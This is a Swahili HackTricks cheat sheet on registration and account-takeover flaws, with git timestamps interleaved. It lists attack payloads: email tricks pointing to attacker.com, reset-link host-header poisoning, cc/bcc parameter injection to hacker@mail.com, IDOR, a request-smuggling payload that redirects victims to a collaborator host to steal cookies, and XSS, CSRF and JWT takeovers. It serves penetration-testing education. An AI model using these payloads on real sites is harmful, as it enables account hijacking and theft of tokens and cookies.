2024-09-04 13:35:19 +00:00
# Usajili & Ukatili wa Akaunti
2024-04-18 03:38:36 +00:00
2024-07-19 16:10:31 +00:00
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Jifunze & fanya mazoezi ya GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-04-18 03:38:36 +00:00
2024-07-19 16:10:31 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:31 +00:00
< summary > Support HackTricks< / summary >
2024-02-03 14:45:32 +00:00
2024-07-19 16:10:31 +00:00
* Angalia [**mpango wa usajili** ](https://github.com/sponsors/carlospolop )!
* **Jiunge na** 💬 [**kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au [**kikundi cha telegram** ](https://t.me/peass ) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-09-04 13:35:19 +00:00
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos za github.
2024-04-18 03:38:36 +00:00
< / details >
2024-07-19 16:10:31 +00:00
{% endhint %}
2024-04-18 03:38:36 +00:00
2021-06-27 14:55:59 +00:00
2024-07-19 16:10:31 +00:00
## Ukatili wa Usajili
2024-04-18 03:38:36 +00:00
2024-07-19 16:10:31 +00:00
### Usajili wa Nakala
2024-04-18 03:38:36 +00:00
2024-07-19 16:10:31 +00:00
* Jaribu kuunda kwa kutumia jina la mtumiaji lililopo
* Angalia kubadilisha barua pepe:
* herufi kubwa
* \+1@
2024-09-04 13:35:19 +00:00
* ongeza nukta kwenye barua pepe
2024-07-19 16:10:31 +00:00
* wahusika maalum katika jina la barua pepe (%00, %09, %20)
* Weka wahusika weusi baada ya barua pepe: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
2024-07-19 16:10:31 +00:00
### Uhesabuji wa Jina la Mtumiaji
2021-06-27 14:55:59 +00:00
2024-09-04 13:35:19 +00:00
Angalia kama unaweza kubaini wakati jina la mtumiaji tayari limeregisteriwa ndani ya programu.
2021-06-27 14:55:59 +00:00
2024-07-19 16:10:31 +00:00
### Sera ya Nywila
2021-06-27 14:55:59 +00:00
2024-09-04 13:35:19 +00:00
Unapounda mtumiaji angalia sera ya nywila (angalia kama unaweza kutumia nywila dhaifu).\
Katika hali hiyo unaweza kujaribu kubruteforce taarifa za kuingia.
2021-06-27 14:55:59 +00:00
2024-05-05 22:47:30 +00:00
### SQL Injection
2021-06-27 14:55:59 +00:00
2024-07-19 16:10:31 +00:00
[**Angalia ukurasa huu** ](sql-injection/#insert-statement )kujifunza jinsi ya kujaribu ukatili wa akaunti au kutoa taarifa kupitia **SQL Injections** katika fomu za usajili.
2021-06-27 14:55:59 +00:00
2024-07-19 16:10:31 +00:00
### Oauth Takeovers
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md ](oauth-to-account-takeover.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
2024-07-19 16:10:31 +00:00
### SAML Vulnerabilities
2021-06-27 14:55:59 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks ](saml-attacks/ )
{% endcontent-ref %}
2021-06-27 15:43:01 +00:00
2024-05-05 22:47:30 +00:00
### Badilisha Barua Pepe
2021-06-27 15:43:01 +00:00
2024-09-04 13:35:19 +00:00
Wakati wa usajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya yanathibitishwa kwa usahihi au unaweza kuyabadilisha kuwa barua pepe zisizo na mpangilio.
2021-06-27 14:55:59 +00:00
2024-07-19 16:10:31 +00:00
### Ukaguzi Zaidi
2021-06-27 14:55:59 +00:00
2024-09-04 13:35:19 +00:00
* Angalia kama unaweza kutumia **barua pepe za muda**
2024-07-19 16:10:31 +00:00
* **Nywila** **ndefu** (>200) inasababisha **DoS**
* **Angalia mipaka ya viwango kwenye uundaji wa akaunti**
* Tumia username@**burp\_collab**.net na uchambue **callback**
2024-05-05 22:47:30 +00:00
2024-09-04 13:35:19 +00:00
## **Ukatili wa Kurekebisha Nywila**
2024-05-05 22:47:30 +00:00
2024-09-04 13:35:19 +00:00
### Kuvuja kwa Tokeni ya Kurekebisha Nywila Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2024-05-05 22:47:30 +00:00
2024-09-04 13:35:19 +00:00
1. Omba kurekebisha nywila kwa anwani yako ya barua pepe
2. Bonyeza kwenye kiungo cha kurekebisha nywila
2024-07-19 16:10:31 +00:00
3. Usibadilishe nywila
4. Bonyeza tovuti zozote za 3rd party (mfano: Facebook, twitter)
5. Kamatia ombi katika Burp Suite proxy
2024-09-04 13:35:19 +00:00
6. Angalia kama kichwa cha referer kinavuja tokeni ya kurekebisha nywila.
2024-05-05 22:47:30 +00:00
2024-09-04 13:35:19 +00:00
### Ukatili wa Kurekebisha Nywila <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2024-05-05 22:47:30 +00:00
2024-09-04 13:35:19 +00:00
1. Kamatia ombi la kurekebisha nywila katika Burp Suite
2024-05-05 22:47:30 +00:00
2. Ongeza au hariri vichwa vifuatavyo katika Burp Suite : `Host: attacker.com` , `X-Forwarded-Host: attacker.com`
2024-07-19 16:10:31 +00:00
3. Tuma ombi na kichwa kilichobadilishwa\
2024-05-05 22:47:30 +00:00
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
2024-09-04 13:35:19 +00:00
4. Tafuta URL ya kurekebisha nywila kulingana na _kichwa cha host_ kama : `https://attacker.com/reset-password.php?token=TOKEN`
2024-05-05 22:47:30 +00:00
2024-09-04 13:35:19 +00:00
### Kurekebisha Nywila Kupitia Kigezo cha Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com& email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
2024-07-19 16:10:31 +00:00
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
1. Mshambuliaji lazima aingie kwenye akaunti yao na aende kwenye kipengele cha **Badilisha nenosiri** .
2. Anza Burp Suite na uingilie ombi hilo.
3. Tuma kwenye tab ya repeater na uhariri vigezo: User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
Token ya kubadilisha nenosiri inapaswa kuundwa kwa bahati nasibu na kuwa ya kipekee kila wakati.\
Jaribu kubaini kama token hiyo inaisha muda au kama kila wakati ni ile ile, katika baadhi ya matukio algorithm ya uzalishaji ni dhaifu na inaweza kukisiwa. Vigezo vifuatavyo vinaweza kutumika na algorithm.
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
* Timestamp
* UserID
2024-02-11 02:13:58 +00:00
* Barua pepe ya Mtumiaji
2024-07-19 16:10:31 +00:00
* Jina la Kwanza na Jina la Mwisho
2024-02-11 02:13:58 +00:00
* Tarehe ya Kuzaliwa
2024-07-19 16:10:31 +00:00
* Cryptography
2024-02-11 02:13:58 +00:00
* Nambari pekee
2024-09-04 13:35:19 +00:00
* Mfululizo mdogo wa token (herufi kati ya \[A-Z,a-z,0-9])
2024-07-19 16:10:31 +00:00
* Tumia tena token
* Tarehe ya kumalizika kwa token
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
1. Trigger ombi la kubadilisha nenosiri kwa kutumia API/UI kwa barua pepe maalum e.g: test@mail.com
2. Kagua jibu la seva na angalia kwa `resetToken`
3. Kisha tumia token hiyo katika URL kama `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
1. Jisajili kwenye mfumo kwa jina la mtumiaji linalofanana na jina la mtumiaji wa mwathirika, lakini ukiweka nafasi za wazi kabla na/au baada ya jina la mtumiaji. e.g: `"admin "`
2024-09-04 13:35:19 +00:00
2. Omba kubadilisha nenosiri kwa jina lako la mtumiaji la uhalifu.
2024-07-19 16:10:31 +00:00
3. Tumia token iliyotumwa kwa barua pepe yako na ubadilishe nenosiri la mwathirika.
4. Unganisha kwenye akaunti ya mwathirika kwa nenosiri jipya.
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
Jukwaa la CTFd lilikuwa na udhaifu kwa shambulio hili.\
Tazama: [CVE-2020-7245 ](https://nvd.nist.gov/vuln/detail/CVE-2020-7245 )
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
1. Tafuta XSS ndani ya programu au subdomain ikiwa vidakuzi vimewekwa kwenye kikoa cha mzazi: `*.domain.com`
2. Leak **vidakuzi vya sasa vya sessions**
3. Thibitisha kama mtumiaji kwa kutumia cookie
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
1\. Tumia **smuggler** kugundua aina ya HTTP Request Smuggling (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h` \
2024-07-19 16:10:31 +00:00
2\. Tengeneza ombi ambalo litabadilisha `POST / HTTP/1.1` na data ifuatayo:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` kwa lengo la kufungua upya wa mwathirika kwenda burpcollab na kuiba vidakuzi vyao\
3\. Ombi la mwisho linaweza kuonekana kama ifuatavyo
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
2024-07-19 16:10:31 +00:00
Hackerone inaripoti kutumia hitilafu hii\
2024-05-05 22:47:30 +00:00
\* [https://hackerone.com/reports/737140 ](https://hackerone.com/reports/737140 )\
\* [https://hackerone.com/reports/771666 ](https://hackerone.com/reports/771666 )
2021-11-30 00:17:48 +00:00
2024-05-05 22:47:30 +00:00
### Kuchukua Akaunti kupitia CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
2024-09-04 13:35:19 +00:00
1. Tengeneza payload kwa CSRF, mfano: “Fomu ya HTML yenye kuwasilisha kiotomatiki kwa mabadiliko ya nenosiri”
2024-07-19 16:10:31 +00:00
2. Tuma payload
2021-11-30 00:17:48 +00:00
2024-05-05 22:47:30 +00:00
### Kuchukua Akaunti kupitia JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
2024-04-18 04:08:12 +00:00
JSON Web Token inaweza kutumika kuthibitisha mtumiaji.
2021-11-30 00:17:48 +00:00
2024-07-19 16:10:31 +00:00
* Hariri JWT kwa ID ya Mtumiaji / Barua pepe nyingine
2024-02-11 02:13:58 +00:00
* Angalia saini dhaifu ya JWT
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md ](hacking-jwt-json-web-tokens.md )
{% endcontent-ref %}
2024-07-19 16:10:31 +00:00
## Marejeleo
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover ](https://salmonsec.com/cheatsheet/account\_takeover )
2022-04-28 16:01:33 +00:00
2024-04-18 03:38:36 +00:00
2024-07-19 16:10:31 +00:00
{% hint style="success" %}
2024-09-04 13:35:19 +00:00
Jifunze & fanya mazoezi ya AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Jifunze & fanya mazoezi ya GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:31 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:10:31 +00:00
< summary > Support HackTricks< / summary >
2024-02-03 14:45:32 +00:00
2024-07-19 16:10:31 +00:00
* Angalia [**mpango wa usajili** ](https://github.com/sponsors/carlospolop )!
2024-09-04 13:35:19 +00:00
* **Jiunge na** 💬 [**kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au [**kikundi cha telegram** ](https://t.me/peass ) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos za github.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:10:31 +00:00
{% endhint %}